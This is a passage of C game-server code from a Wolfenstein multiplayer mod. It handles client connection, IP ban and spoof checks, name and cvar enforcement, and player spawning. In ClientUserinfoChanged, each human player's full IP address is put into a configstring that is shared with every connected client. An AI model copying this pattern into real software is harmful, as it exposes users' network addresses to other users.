trap_DropClient( client->ps.clientNum, va( "Player Kicked: ^3Name Must Be At Least %i ^3Letters Long", AB_MinNameChars.integer ) );
}
}
}
/*
//********** OLD NAME CHANGE STUFF ***************
if ( client->pers.connected == CON_CONNECTED ) {
if ( strcmp( oldname, client->pers.netname ) ) {
G_LogPrintf("%s RENAMED TO %s\n",oldname, ent->client->pers.netname);
if (g_nameChangeReports.integer > 0)
trap_SendServerCommand( -1, va("print \"%.99s ^7renamed to %.99s\n\"", oldname, client->pers.netname) );
}
}*/
//end
// set max health
client->pers.maxHealth = atoi( Info_ValueForKey( userinfo, "handicap" ) );
if ( client->pers.maxHealth < 1 || client->pers.maxHealth > 100 ) {
client->pers.maxHealth = 100;
}
client->ps.stats[STAT_MAX_HEALTH] = client->pers.maxHealth;
// set model
if ( g_forceModel.integer ) {
Q_strncpyz( model, DEFAULT_MODEL, sizeof( model ) );
Q_strcat( model, sizeof(model), "/default" );
} else {
Q_strncpyz( model, Info_ValueForKey (userinfo, "model"), sizeof( model ) );
}
// RF, reset anims so client's dont freak out
client->ps.legsAnim = 0;
client->ps.torsoAnim = 0;
// DHM - Nerve :: Forcibly set both model and skin for multiplayer.
if ( g_gametype.integer >= GT_WOLF ) {
// To communicate it to cgame
client->ps.stats[ STAT_PLAYER_CLASS ] = client->sess.playerType;
//S4NDM4NN-edited to work with spy
if ( client->sess.sessionTeam == TEAM_BLUE ){
if(!client->ps.isSpy)
Q_strncpyz( model, MULTIPLAYER_ALLIEDMODEL, MAX_QPATH );
else
Q_strncpyz( model, MULTIPLAYER_AXISMODEL, MAX_QPATH );
}else{
if(!client->ps.isSpy)
Q_strncpyz( model, MULTIPLAYER_AXISMODEL, MAX_QPATH );
else
Q_strncpyz( model, MULTIPLAYER_ALLIEDMODEL, MAX_QPATH );
}
Q_strcat(model, MAX_QPATH, "/");
SetWolfSkin( client, model );
Q_strncpyz( head, "", MAX_QPATH );
SetWolfSkin( client, head );
}
// strip the skin name
Q_strncpyz( modelname, model, sizeof(modelname) );
if (strstr(modelname, "/")) {
modelname[ strstr(modelname, "/") - modelname ] = 0;
} else if (strstr(modelname, "\\")) {
modelname[ strstr(modelname, "\\") - modelname ] = 0;
}
if ( !G_CheckForExistingModelInfo( client, modelname, &client->modelInfo ) ) {
if ( !G_ParseAnimationFiles( modelname, client ) ) {
G_Error( "Failed to load animation scripts for model %s\n", modelname );
}
}
// team`
// DHM - Nerve :: Already took care of models and skins above
if ( g_gametype.integer < GT_WOLF ) {
//----(SA) added this for head separation
// set head
if ( g_forceModel.integer ) {
Q_strncpyz( head, DEFAULT_HEAD, sizeof( head ) );
} else {
Q_strncpyz( head, Info_ValueForKey (userinfo, "head"), sizeof( head ) );
}
//----(SA) end
switch( client->sess.sessionTeam ) {
case TEAM_RED:
ForceClientSkin(client, model, "red");
break;
case TEAM_BLUE:
ForceClientSkin(client, model, "blue");
break;
default: // TEAM_FREE, TEAM_SPECTATOR, TEAM_NUM_TEAMS not handled in switch
break;
}
if ( g_gametype.integer >= GT_TEAM && client->sess.sessionTeam == TEAM_SPECTATOR ) {
// don't ever use a default skin in teamplay, it would just waste memory
ForceClientSkin(client, model, "red");
}
}
/*
if(strlen(c1) >= 20){
S4ND_nuke(ent);
return;
}
*/
// colors
c1 = Info_ValueForKey( userinfo, "color" );
ent->client->sess.colorFlags = atoi(c1);
//set auto reload
if (ent->client->sess.colorFlags & AUTORELOAD_OFF){ // If a client has the right color flag set...
ent->client->ps.autoReload = qfalse; // Do NOT autoreload their weapon
ent->client->pers.autoReload = qfalse;
}else{
ent->client->ps.autoReload = qtrue; // Else - reload it for them
ent->client->pers.autoReload = qtrue;
}
/*
s = Info_ValueForKey( userinfo, "head" );
if(strlen(s) >= 30){
S4ND_nuke(ent);
return;
}
s = Info_ValueForKey( userinfo, "headmodel" );
if(strlen(s) >= 30){
S4ND_nuke(ent);
return;
}
for(i=0;i < 8;i++){
if(!strcmp(goodmodelname[i],head)){
badclient = qfalse;
break;
}
}
if(badclient){
S4ND_nuke(ent);
return;
}
*/
// send over a subset of the userinfo keys so other clients can
// print scoreboards, display models, and play custom sounds
//----(SA) modified these for head separation
if ( ent->r.svFlags & SVF_BOT ) {
s = va("n\\%s\\t\\%i\\model\\%s\\head\\%s\\hc\\%i\\w\\%i\\l\\%i\\skill\\%s",
client->pers.netname, client->sess.sessionTeam, model, head,
client->pers.maxHealth, client->sess.wins, client->sess.losses,
Info_ValueForKey( userinfo, "skill" ) );
} else {
s = va("n\\%s\\t\\%i\\model\\%s\\head\\%s\\c1\\0\\hc\\%i\\w\\%i\\l\\%i\\ip\\%s",
client->pers.netname, client->sess.sessionTeam, model, head,
client->pers.maxHealth, client->sess.wins, client->sess.losses, client->sess.ip );
}
//----(SA) end
trap_SetConfigstring( CS_PLAYERS+clientNum, s );
G_LogPrintf( "ClientUserinfoChanged: %i %s\n", clientNum, s );
G_Printf( "ClientUserinfoChanged: %i :: %s\n", clientNum, s );
}
/*
qboolean clan_login(const char *pass, const char *name){
FILE*tournyfile;
FILE*passwordsfile;
char info[1024];//the line we are currently looking at/comparing
char clan[1024];//the current clan we are scanning in the clans file
char clanpass[1024];//the clan that goes with the password
char password[1024];//the password in the file
char clientclan[1024];//the clan we think the client is in by the pass provided
char arg1[1024];
char arg2[1024];
//G_Printf("Client pass: %s\n",pass);
//G_Printf("Client name: %s\n",name);
passwordsfile=tournyfile=fopen("passwords.txt","a+");//open the passwords files
while (fgets(info,1024,passwordsfile)!=NULL){//read it and get it line by line
ParseStr(info,clanpass,password);
// G_Printf("TXT pass: %s\n",password);
// G_Printf("TXT clan: %s\n",clanpass);
if(!strcmp( va("%s\n",pass),password))//compare their pass with the pass in the file
Q_strncpyz(clientclan,clanpass,sizeof(clientclan));//the pass is the same so lets set this as their clan
}//now we have a clan so lets close this file and move onto the clan file
fclose(passwordsfile);
tournyfile=fopen("TournyClans.txt","a+");
while (fgets(info,1024,tournyfile)!=NULL){
ParseStr(info,arg1,arg2);
//G_Printf("TAG: %s\n",arg1);
//G_Printf("Entered: %s\n",arg2);
if(!Q_stricmp (arg1, "clan"))//if the tag is for clan set the clan
Q_strncpyz(clan,arg2,sizeof(clan));//this will set the current clan we are in
if(!Q_stricmp (arg1, "member"))//if the tag is for member check if hes in it
if(!strcmp( clan, va("%s\n",clientclan))){//if the clients clan is the clan we are scanning look for them
if(!strcmp(va("%s\n",name), arg2))//if the name is in the clan let him join
return qtrue;
}
}
fclose(tournyfile);
return qfalse;
}
*/
static char text[100000];
/*
===========
ClientConnect
Called when a player begins connecting to the server.
Called again for every map change or tournement restart.
The session information will be valid after exit.
Return NULL if the client should be allowed, otherwise return
a string with the reason for denial.
Otherwise, the client will be sent the current gamestate
and will eventually get to ClientBegin.
firstTime will be qtrue the very first time a client connects
to the server machine, but qfalse on map changes and tournement
restarts.
============
*/
char *ClientConnect( int clientNum, qboolean firstTime, qboolean isBot ) {
char *value;
gclient_t *client;
char userinfo[MAX_INFO_STRING];
gentity_t *ent;
char port[MAX_INFO_STRING];
char ip[20];
int banNum;
#ifndef OMNIBOT
char i;
#endif
int sameIP = 0;
char *s;
ent = &g_entities[ clientNum ];
value = "";
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: ClientConnect: Start");
#ifndef OMNIBOT
if(!isBot){
#endif
trap_GetUserinfo( clientNum, userinfo, sizeof( userinfo ) );
#ifndef OMNIBOT
for (i=0 ; i < g_maxclients.integer ; i++) {
if ( g_entities[i].isFake ) {
g_entities[i].isFake = qfalse;
trap_BotFreeClient(i);
break;
}
}
#endif
#ifdef OMNIBOT
if ( !isBot && !( ent->r.svFlags & SVF_BOT ) ){
#endif
//IP checks
if(!g_needpass.integer){
if(firstTime){
value = Info_ValueForKey (userinfo, "ip");
if((strlen(value) > 21) || (strlen(value) == 0) || !Q_stricmp(value, "")) // Check str length
return "^3Invalid IP: No spoofing allowed";
if (badUserinfo(clientNum))
return "^3Invalid userinfo: Unable to grant access"; //Serious checks on userinfo
GetIP(value, ip, port);
banNum=CheckBANS(ip);
if(banNum == 1) {
value = Info_ValueForKey (userinfo, "password");
if(!checkPassword(value,ip,bannedpasswords))
return g_banmsg.string;
}
if(banNum == 2)
return TempBannedMessage;
value = Info_ValueForKey (userinfo, "password");
if(checkMBL(ip,value))
return "^3Banned from S4NDMoD. Protest at S4NDMoD.com";
if (!IPFound(ip, "whitelist.txt"))
return g_whitelistmsg.string;
for (i = 0; i < g_maxclients.integer; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (!Q_stricmp(ip, level.clients[i].sess.ip))
sameIP++;
}
if (sameIP >= 2)
return "^3Too many connections from this IP address";
}
}
//#endif // IPSPOOF
#ifdef OMNIBOT
}
#endif
//crapshoot: commented for debug ...
// Gordon: porting q3f flag bug fix
// If a player reconnects quickly after a disconnect, the client
// disconnect may never be called, thus flag can get lost in the ether
if( ent->inuse ) {
G_LogPrintf( "Forcing disconnect on active client: %i\n", ent-g_entities );
// so lets just fix up anything that should happen on a disconnect
ClientDisconnect( ent-g_entities );
}
// end ETPub
//Agent - Dont Allow weird namers to even connect
if(firstTime){
s = Info_ValueForKey( userinfo, "name" );
if (( s && !Q_stricmp( s, "WolfPlayer" ))||( s && !Q_stricmp( s, "console" ))||( s && !Q_stricmp( s, "" )) ){
return "^3Name Not Allowed";
}
s = Info_ValueForKey( userinfo, "snaps" );
if ( atoi(s) < 20 ){
return "^3Cvar Violation: Snaps Must Be >= 20";
}
s = Info_ValueForKey( userinfo, "rate" );
if ( atoi(s) < 2500 ){
return "^3Cvar Violation: Rate Must Be >= 2500";
}
s = Info_ValueForKey( userinfo, "cl_anonymous" );
if (( s && Q_stricmp( s, "0" ))){
return "^3Cvar Violation: CL_Anonymous Must = 0";
}
}
//end weirdnamers
// we don't check password for bots and local client
// NOTE: local client <-> "ip" "localhost"
// this means this client is not running in our current process
#ifdef OMNIBOT
if ( !isBot && !( ent->r.svFlags & SVF_BOT ) && (strcmp(value, "localhost") != 0)) {
#else
if ( !( ent->r.svFlags & SVF_BOT ) && (strcmp(value, "localhost") != 0)) {
#endif
// check for a password
value = Info_ValueForKey (userinfo, "password");
if ( g_password.string[0] && Q_stricmp( g_password.string, "none" ) && strcmp( g_password.string, value) != 0) {
return "^3Invalid Password";
}
}
//S4NDM4NN-Send the name of the client and the pass they have entered to be compared.
// pass = Info_ValueForKey (userinfo, "password");
// name = Info_ValueForKey (userinfo, "name");
/*
if(clan_login(pass,name)== qfalse)
return "Invalid password for name!";
*/
#ifndef OMNIBOT
} // <--- if(!isBot)
#endif
// they can connect
ent->client = level.clients + clientNum;
client = ent->client;
memset( client, 0, sizeof(*client) );
client->pers.connected = CON_CONNECTING;
client->pers.connectTime = level.time; // DHM - Nerve
if ( firstTime )
client->pers.initialSpawn = qtrue; // DHM - Nerve
client->pers.complaints = 0; // DHM - Nerve
if ( firstTime ){
ent->client->sess.ignored = qfalse;
}
ent->voteCredits = g_voteCredits.integer;
if (g_checkguid.integer < 1)
client->sess.guid = 1;
else
client->sess.guid = 0;
// client->sess.guidentered = "^1NONE";
// read or initialize the session data
if ( firstTime || (g_gametype.integer < GT_WOLF && level.newSession) ) {
G_InitSessionData( client, userinfo );
//ADDED
}
//crapshoot: omnibots are treated like regular clients with the exception of explicitly setting SVF_BOT
#ifndef OMNIBOT
if(!isBot){
G_ReadSessionData( client );
G_ReadIP( client );
// get and distribute relevent paramters
G_LogPrintf( "ClientConnect: %i\n", clientNum );
}
#endif // OMNIBOT
#ifdef OMNIBOT
if( isBot ) {
ent->r.svFlags |= SVF_BOT;
ent->inuse = qtrue;
}
else {
G_ReadIP( client );
}
G_ReadSessionData( client );
G_LogPrintf( "ClientConnect: %i\n", clientNum );
#endif //OMNIBOT
ClientUserinfoChanged( clientNum );
#ifdef OMNIBOT
Bot_Event_ClientConnected(clientNum, isBot);
#endif
if(!isBot){
// don't do the "xxx connected" messages if they were caried over from previous level
if ( firstTime ) {
if (ent->r.svFlags & SVF_BOT){ // Don't print bots 'ip'
trap_SendServerCommand( -1, va("print \"%s ^7connected\n\"", client->pers.netname) );
}else{
char ip1[10];
char ip2[10];
char ip3[10];
char ip4[10];
BreakIP(client->sess.ip, ip1, ip2, ip3, ip4);
trap_SendServerCommand( -1, va("print \"%s ^7connected [^3%.4s.%.4s.*.*^7]\n\"", client->pers.netname, ip1, ip2) );
}
// GetIP(value, ip, port);
G_LogPrintf( "Client Connect Info\n");
G_LogPrintf( "NAME: %s\n",ent->client->pers.netname);
G_LogPrintf( "ClientNum: %i\n",ent->client->ps.clientNum);
G_LogPrintf( "IP: %s\n",ent->client->sess.ip);
}
//S4NDM4NN Let them know whats going on on this server
//I moved all these messages to fix it from printing 4 times
#ifdef OMNIBOT
if( !firstTime && !( ent->r.svFlags & SVF_BOT ) ){
#else
if( !firstTime ){
#endif
if (g_deathmatch.integer == 1)
trap_SendServerCommand( clientNum, va("chat \"console: ^3This server is in ^5Deathmatch mode!^7\n\"", g_connectMsg.string) );
if (g_deathmatch.integer == 2)
trap_SendServerCommand( clientNum, va("chat \"console: ^3This server is running a ^5Free for All!^7\n\"", g_connectMsg.string) );
if (g_headshotsOnly.integer)
trap_SendServerCommand( clientNum, va("chat \"console: ^3This server is in ^5Headshots only mode!^7\n\"", g_connectMsg.string) );
if (g_goldrush.integer && !g_instaGib.integer)
trap_SendServerCommand( clientNum, va("chat \"console: ^3This server is running ^5Goldrush!^7\n\"", g_connectMsg.string) );
if (g_goldrush.integer && g_instaGib.integer)
trap_SendServerCommand( clientNum, va("chat \"console: ^3This server is running ^5InstaGib Goldrush!^7\n\"", g_connectMsg.string) );
if(g_panzerParty.integer)
trap_SendServerCommand( clientNum, va("chat \"console: ^3This server is running a ^5Panzer Party!^7\n\"", g_connectMsg.string) );
if(g_SniperMode.integer)
trap_SendServerCommand( clientNum, va("chat \"console: ^3This server is in ^5Sniper Mode!^7\n\"", g_connectMsg.string) );
//if(g_panzerParty.integer) //Add trenches here sometime
//trap_SendServerCommand( clientNum, va("chat \"console: ^3This server is running a ^5Panzer Party!^7\n\"", g_connectMsg.string) );
//End
}
}
// count current clients and rank for scoreboard
CalculateRanks();
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: ClientConnect: End");
return NULL;
}
/*
===========
ClientBegin
called when a client has finished connecting, and is ready
to be placed into the level. This will happen every level load,
and on transition between teams, but doesn't happen on respawns
============
*/
void ClientBegin( int clientNum) {
gentity_t *ent;
gclient_t *client;
// gentity_t *tent;
int flags;
int spawn_count; // DHM - Nerve
// char userinfo[MAX_INFO_STRING];
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: ClientBegin: Start");
ent = g_entities + clientNum;
client = level.clients + clientNum;
if ((g_privateclients.integer) && (clientNum < g_privateclients.integer)){
ent->client->pers.privateclient = qtrue;
}
if ( ent->r.linked ) {
trap_UnlinkEntity( ent );
}
G_InitGentity( ent );
ent->touch = 0;
ent->pain = 0;
ent->client = client;
client->pers.connected = CON_CONNECTED;
client->pers.enterTime = level.time;
client->pers.teamState.state = TEAM_BEGIN;
// tjw: reset all the markers used by g_shortcuts
client->pers.lastkilled_client = -1;
client->pers.lastammo_client = -1;
client->pers.lasthealth_client = -1;
client->pers.lastrevive_client = -1;
client->pers.lastkiller_client = -1;
// save eflags around this, because changing teams will
// cause this to happen with a valid entity, and we
// want to make sure the teleport bit is set right
// so the viewpoint doesn't interpolate through the
// world to the new position
// DHM - Nerve :: Also save PERS_SPAWN_COUNT, so that CG_Respawn happens
spawn_count = client->ps.persistant[PERS_SPAWN_COUNT];
flags = client->ps.eFlags;
memset( &client->ps, 0, sizeof( client->ps ) );
client->ps.eFlags = flags;
client->ps.persistant[PERS_SPAWN_COUNT] = spawn_count;
// MrE: use capsule for collision
//client->ps.eFlags |= EF_CAPSULE;
//ent->r.svFlags |= SVF_CAPSULE;
client->pers.complaintClient = -1;
client->pers.complaintEndTime = -1;
client->ps.autoReload = client->pers.autoReload;
client->pers.spawnTimerActive = qfalse;
client->pers.deathSpree = 0; // L0 - reset deaths for deathSpree in case of team switch...
/*
client->pers.kills = 0;
client->pers.teamKills = 0;
client->pers.gibs = 0;
client->pers.teamGibs = 0;
client->pers.revives = 0;
client->pers.medPacks = 0;
client->pers.ammoPacks = 0;
client->pers.acc_hits = 0;
client->pers.acc_shots = 0;
client->pers.headshots = 0;
client->pers.deaths = 0;
client->pers.hitarm = 0;
client->pers.hitbody = 0;
client->pers.hitface = 0;
client->pers.hitfoot = 0;
client->pers.hitleg = 0;
client->pers.hitshoulders = 0;
client->pers.hitthroat = 0;
client->pers.dmgreceived = 0;
client->pers.dmgGiven = 0;
*/
//the client is a spy so change them back
if(client->ps.isSpy){
client->ps.isSpy = qfalse;
ClientUserinfoChanged(client->ps.clientNum);
}
client->pers.restrictedWeapon = WP_NONE;
#ifdef OMNIBOT
//make sure this isn't set here
client->sess.botSuicide = qfalse;
client->sess.botSuicidePersist = qfalse;
if ( ent->r.svFlags & SVF_BOT )
client->sess.botPush = qtrue;
#endif
// locate ent at a spawn point
ClientSpawn( ent, qfalse );
//ADDED
//Q_strncpyz(client->pers.ipaddr, ipval, sizeof(client->pers.ipaddr));
//ANTILAG - reset the origin trails
G_ResetTrail( ent );
ent->client->saved.leveltime = 0;
/*if ( (g_gamestate.integer == GS_PLAYING) && (g_allowLateJoiners.integer) && (level.time < (g_lateJoinTime.integer * 1000))) {
ent->client->ps.persistant[PERS_RESPAWNS_LEFT] = (g_lateJoinLives.integer-1);
}else{ */
if ( g_maxlives.integer > 0 )
ent->client->ps.persistant[PERS_RESPAWNS_LEFT] = (g_maxlives.integer - 1);
else
ent->client->ps.persistant[PERS_RESPAWNS_LEFT] = -1;
if ( g_axismaxlives.integer > 0 || g_alliedmaxlives.integer > 0 ) {
if ( client->sess.sessionTeam == TEAM_RED )
ent->client->ps.persistant[PERS_RESPAWNS_LEFT] = (g_axismaxlives.integer - 1);
else if ( client->sess.sessionTeam == TEAM_BLUE )
ent->client->ps.persistant[PERS_RESPAWNS_LEFT] = (g_alliedmaxlives.integer - 1);
else
ent->client->ps.persistant[PERS_RESPAWNS_LEFT] = -1;
}
//}
// DHM - Nerve :: Start players in limbo mode if they change teams during the match
if ( g_gametype.integer >= GT_WOLF && client->sess.sessionTeam != TEAM_SPECTATOR
&& (level.time - client->pers.connectTime) > 60000 ) {
ent->client->ps.pm_type = PM_DEAD;
ent->r.contents = CONTENTS_CORPSE;
ent->health = 0;
ent->client->ps.stats[STAT_HEALTH] = 0;
if ( g_maxlives.integer > 0 || g_alliedmaxlives.integer > 0 || g_axismaxlives.integer > 0)
ent->client->ps.persistant[PERS_RESPAWNS_LEFT]++;
limbo( ent, qfalse );
}
if(g_maxlives.integer && g_allowLateJoiners.integer){
ent->client->ps.persistant[PERS_RESPAWNS_LEFT] = calculateStartLives(ent);
}
G_LogPrintf( "ClientBegin: %i\n", clientNum );
//S4NDM4NN-let them know we are running S4NDMoD
//Agent - Lets move dis shit here so that the sound gets played to da client at the right time for him :)
#ifdef OMNIBOT
if ( !(ent->r.svFlags & SVF_BOT ) )
{
#endif
if((level.time - level.startTime <= 500) && (g_gamestate.integer == GS_PLAYING)){
// the subtraction
if ( !level.shuffled ){
if ( g_gamestate.integer != GS_WAITING_FOR_PLAYERS )
trap_SendServerCommand( clientNum, va("print \"%s\n\"", g_welcomeMsg.string));
}
CheckRoundStart(&g_entities[clientNum]);
}else{
trap_SendServerCommand( clientNum, va("cp \"%s\"2", g_welcomeMsg.string) );
}
#ifdef OMNIBOT
}
#endif
// count current clients and rank for scoreboard
CalculateRanks();
if (g_fakePing.integer){
if ( ent->r.svFlags & SVF_BOT )
setSeedPings(ent);
}
/* if(!strlen(ent->client->sess.cdkey)){
trap_SendServerCommand( clientNum, "checkpure" );
ent->client->pers.checkpuretime = level.time;
}
*/
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: ClientBegin: End");
}
extern void SP_dlight ( gentity_t * ent ) ;
extern void shutoff_dlight ( gentity_t * ent ) ;
/*
===========
ClientSpawn
Called every time a client is placed fresh in the world:
after the first ClientBegin, and after each respawn
Initializes all non-persistant parts of playerState
============
*/
void ClientSpawn(gentity_t *ent, qboolean revived) {
int index;
vec3_t spawn_origin, spawn_angles;
gclient_t *client;
int i;
clientPersistant_t saved;
clientSession_t savedSess;
int persistant[MAX_PERSISTANT];
gentity_t *spawnPoint;
int flags;
int savedPing;
int savedTeam;
char mapname[MAX_QPATH];
// qboolean savedVoted=qfalse; // NERVE - SMF
// int j;
// int n;
// vec3_t deathmatchspawn, deathmatchangles;
index = ent - g_entities;
client = ent->client;
// find a spawn point
// do it before setting health back up, so farthest
// ranging doesn't count this client
trap_Cvar_VariableStringBuffer( "mapname", mapname, sizeof(mapname) );
if (revived){
spawnPoint = ent;
VectorCopy( ent->s.origin, spawn_origin );
spawn_origin[2] += 9; // spawns seem to be sunk into ground?
VectorCopy( ent->s.angles, spawn_angles );
}else{
#ifndef NO_BOT_SUPPORT
ent->aiName = "player"; // needed for script AI
//ent->aiTeam = 1; // member of allies
//ent->client->ps.teamNum = ent->aiTeam;
//AICast_ScriptParse( AICast_GetCastState(ent->s.number) );
// done.
#endif // NO_BOT_SUPPORT
if ( client->sess.sessionTeam == TEAM_SPECTATOR ) {
spawnPoint = SelectSpectatorSpawnPoint (
spawn_origin, spawn_angles);
}else if (g_gametype.integer >= GT_TEAM) {
// For rocket... if there an allied player and if they never changed their default spawn point...spawn @ tunnel
if ((!Q_stricmp(mapname, "mp_rocket")) && (client->sess.sessionTeam == TEAM_BLUE) && (client->sess.spawnObjectiveIndex == 0)){
spawnPoint = SelectCTFSpawnPoint (
client->sess.sessionTeam,
client->pers.teamState.state,
spawn_origin, spawn_angles, 3); // Martin - force allies to spawn at flag on mp_ROCKET only
}else{
spawnPoint = SelectCTFSpawnPoint (
client->sess.sessionTeam,
client->pers.teamState.state,
spawn_origin, spawn_angles, client->sess.spawnObjectiveIndex);
}
}else {
do {
// the first spawn should be at a good looking spot
if ( !client->pers.initialSpawn && client->pers.localClient ) {
client->pers.initialSpawn = qtrue;
spawnPoint = SelectInitialSpawnPoint( spawn_origin, spawn_angles );
} else {
// don't spawn near existing origin if possible
spawnPoint = SelectSpawnPoint (
client->ps.origin,
spawn_origin, spawn_angles);
}
#ifndef NO_BOT_SUPPORT
if ( ( spawnPoint->flags & FL_NO_BOTS ) && ( ent->r.svFlags & SVF_BOT ) ) {
continue; // try again
}
// just to be symetric, we have a nohumans option...
if ( ( spawnPoint->flags & FL_NO_HUMANS ) && !( ent->r.svFlags & SVF_BOT ) ) {
continue; // try again
}
#endif // NO_BOT_SUPPORT
break;
} while ( 1 );
}
}
if(g_deathmatch.integer ==2)
FreeForAllSpawnpt(ent,spawn_origin,spawn_angles);
//Sniper Spawn
if(g_deathmatch.integer !=2){
if(!Q_stricmp(mapname, "assault"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "baseout"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "boss1"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "chateau"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "dam"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "dark"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "forest"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "factory"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "norway"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "rocket"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "sfm"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "trainyard"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
if(!Q_stricmp(mapname, "tram"))
SniperModeCustomSpawns(ent,spawn_origin,spawn_angles);
}
client->pers.teamState.state = TEAM_ACTIVE;
// toggle the teleport bit so the client knows to not lerp
flags = ent->client->ps.eFlags & EF_TELEPORT_BIT;
flags ^= EF_TELEPORT_BIT;
// clear everything but the persistant data
saved = client->pers;
savedSess = client->sess;
savedPing = client->ps.ping;
savedTeam = client->ps.teamNum;
// NERVE - SMF
//agent - test voting
// if ( client->ps.eFlags & EF_VOTED )
// savedVoted = qtrue;
for ( i = 0 ; i < MAX_PERSISTANT ; i++ ) {
persistant[i] = client->ps.persistant[i];
}
memset (client, 0, sizeof(*client));
client->pers = saved;
client->sess = savedSess;
client->ps.ping = savedPing;
client->ps.teamNum = savedTeam;
// NERVE - SMF
//if ( savedVoted )
//AGent - test voting
client->ps.eFlags |= EF_VOTED;
for ( i = 0 ; i < MAX_PERSISTANT ; i++ ) {
client->ps.persistant[i] = persistant[i];
}
// increment the spawncount so the client will detect the respawn
client->ps.persistant[PERS_SPAWN_COUNT]++;
client->ps.persistant[PERS_TEAM] = client->sess.sessionTeam;
client->airOutTime = level.time + 12000;
// clear entity values
client->ps.stats[STAT_MAX_HEALTH] = client->pers.maxHealth;
client->ps.eFlags = flags;
// MrE: use capsules for AI and player
//client->ps.eFlags |= EF_CAPSULE;
ent->s.groundEntityNum = ENTITYNUM_NONE;
ent->client = &level.clients[index];
ent->takedamage = qtrue;
ent->inuse = qtrue;
#ifndef NO_BOT_SUPPORT
if (!(ent->r.svFlags & SVF_CASTAI))
#endif
ent->classname = "player";
ent->r.contents = CONTENTS_BODY;
#ifndef NO_BOT_SUPPORT
// RF, AI should be clipped by monsterclip brushes
if (ent->r.svFlags & SVF_CASTAI)
ent->clipmask = MASK_PLAYERSOLID|CONTENTS_MONSTERCLIP;
else
#endif // NO_BOT_SUPPORT
ent->clipmask = MASK_PLAYERSOLID;
// DHM - Nerve :: Init to -1 on first spawn;
if ( !revived )
ent->props_frame_state = -1;
//ent->props_frame_state = ent->s.number;
ent->die = player_die;
ent->waterlevel = 0;
ent->watertype = 0;
ent->flags = 0;
ent->poisoned = qfalse;
ent->thrownSmoke = 0;
ent->client->ps.throwSmoke = qfalse;
ent->lastPoisonTime = ent->thrownKnifeTime = 0;
ent->poisonEnt = ENTITYNUM_NONE;
ent->objDropCount = 0;
ent->client->pers.life_shots = 0;
ent->client->pers.life_revives = 0;
ent->client->pers.life_hits = 0;
ent->client->pers.life_kills = 0;
ent->client->ps.persistant[PERS_WOLFKICK] = 0;
ent->playdeadState = 0;
ent->client->pers.lastTeamkilledPlayer = -1;
ent->client->pers.gibbed = qfalse;
//Autotap - They do not need to tap out now
if(g_autoTap.integer){
ent->client->pers.isTapped = qfalse;
ent->client->pers.lastTapMessageTime = level.time; //Reset and also for firsttime
ent->client->pers.spawnCyclesSkipped = 0;
}
ent->client->ps.autoReload = ent->client->pers.autoReload; // martin 3/15/08
ent->s.onFireEnd = level.time-1; // Martin - Fixed Flamethrower
if (g_goldrush.integer)
ent->client->pers.gold = 1;
VectorCopy (playerMins, ent->r.mins);
VectorCopy (playerMaxs, ent->r.maxs);
// Ridah, setup the bounding boxes and viewheights for prediction
VectorCopy (ent->r.mins, client->ps.mins);
VectorCopy (ent->r.maxs, client->ps.maxs);
client->ps.crouchViewHeight = CROUCH_VIEWHEIGHT;
client->ps.standViewHeight = DEFAULT_VIEWHEIGHT;
client->ps.deadViewHeight = DEAD_VIEWHEIGHT;
client->ps.crouchMaxZ = client->ps.maxs[2] - (client->ps.standViewHeight - client->ps.crouchViewHeight);
client->ps.runSpeedScale = 0.8;
client->ps.sprintSpeedScale = 1.1;
client->ps.crouchSpeedScale = 0.25;
// Rafael
client->ps.sprintTime = 20000;
client->ps.sprintExertTime = 0;
client->ps.friction = 1.0;
// done.
client->ps.clientNum = index;
trap_GetUsercmd( client - level.clients, &ent->client->pers.cmd ); // NERVE - SMF - moved this up here
SetWolfUserVars( ent, NULL ); // NERVE - SMF
// DHM - Nerve :: Add appropriate weapons
if ( g_gametype.integer >= GT_WOLF ) {
if ( !revived ) {
qboolean update = qfalse;
if ( client->sess.playerType != client->sess.latchPlayerType )
update = qtrue;
if ((g_maxPf.integer) && (client->pers.restrictedWeapon == WP_PANZERFAUST) && (client->sess.latchPlayerWeapon != 8))
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisPanz-- : level.alliedPanz--;
client->pers.restrictedWeapon = WP_NONE;
}
if ((g_maxVenom.integer) && (client->pers.restrictedWeapon == WP_VENOM) && (client->sess.latchPlayerWeapon != 9))
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisVenom-- : level.alliedVenom--;
client->pers.restrictedWeapon = WP_NONE;
}
if ((g_maxFlamer.integer) && (client->pers.restrictedWeapon == WP_FLAMETHROWER) && (client->sess.latchPlayerWeapon != 10))
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisFlame-- : level.alliedFlame--;
client->pers.restrictedWeapon = WP_NONE;
}
if ((g_maxMauser.integer) && (client->pers.restrictedWeapon == WP_MAUSER) && (client->sess.latchPlayerWeapon != 6))
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisMauser-- : level.alliedMauser--;
client->pers.restrictedWeapon = WP_NONE;
}
client->sess.playerType = client->sess.latchPlayerType;
client->sess.playerWeapon = client->sess.latchPlayerWeapon;
client->sess.playerItem = client->sess.latchPlayerItem;
client->sess.playerSkin = client->sess.latchPlayerSkin;
if ( update )
ClientUserinfoChanged( index );
}
